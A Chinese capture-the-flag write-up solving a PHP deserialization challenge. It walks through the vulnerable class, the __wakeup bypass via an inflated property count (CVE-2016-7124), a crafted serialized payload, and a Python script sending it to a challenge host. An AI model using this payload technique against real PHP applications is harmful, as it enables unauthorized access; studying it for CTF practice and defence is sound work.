[极客大挑战]PHP
这也是一道PHP反序列化的题目,这个题目稍微难一些,不过遇到困难微笑面对,奥利给!
首先谈到了备份网站,那么盲猜一波www.zip,下载下来细看了一下,flag.php里面是假的flag。index.js和style.css也没什么好看的,那么重心就放在class.php和index.php中了。
先看index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
包含了class.php,然后序列化了select变量,也没什么头绪,那就去class.php里面看看
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
注意到这一段代码
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
这段代码的意思是说,如果这个类里的username变量等于admin,则输出flag。
先介绍几个魔术方法吧
__construct()方法(构造方法是类中的一个特殊方法。当使用 new 操作符创建一个类的实例时,构造方法将会自动调用,其名称必须是 __construct())
也就是说当你new一个对象的时候会调用这个方法
__wakeup()(在函数反序列化的时候会调用这个方法)
__destruct()(对象的所有引用都被删除或者当对象被显式销毁时执行)
好了,现在大概清楚了
首先看__construct()方法
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
需要传入两个参数,username和password
这里的话username肯定是得用admin的
password这里需要100
因为
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
ok,接下来分析__wakeup()方法
function __wakeup(){
$this->username = 'guest';
}
在反序列化的时候会调用这个方法,又让我们的username变量变为guest了,这个肯定不行,所以得想办法绕过。
绕过方法:(当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124))
ok,这个也解决了
然后看__destruct()方法
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
这段代码首先判断password是否等于100,如果不等于就输出no hacker,你的username变量的值和password变量的值,然后判断username变量的值是否为admin,前面已经说过了那么久不多赘述了。
但是这里我们需要注意的是
private私有变量
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。
好了,开始构造payload:
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
$obj = new Name('admin',100);
echo serialize($obj);
?>
序列化的结果是:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
其实Nameusername真正的结构是\0Name\0username,只不过是无法被直接观察到的。
所以最终序列化的结果为:(需要绕过__wakeup方法所以这里的成员属性数目+1)
O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
由于使用浏览器访问可能会出现一些小问题,所以这里我们使用python脚本
import requests
url = "http://622d25d6-5da0-42c9-a2d2-34d88f8c654b.node3.buuoj.cn/"
payload = '?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}'
res = requests.get(url+payload)
print(res.text)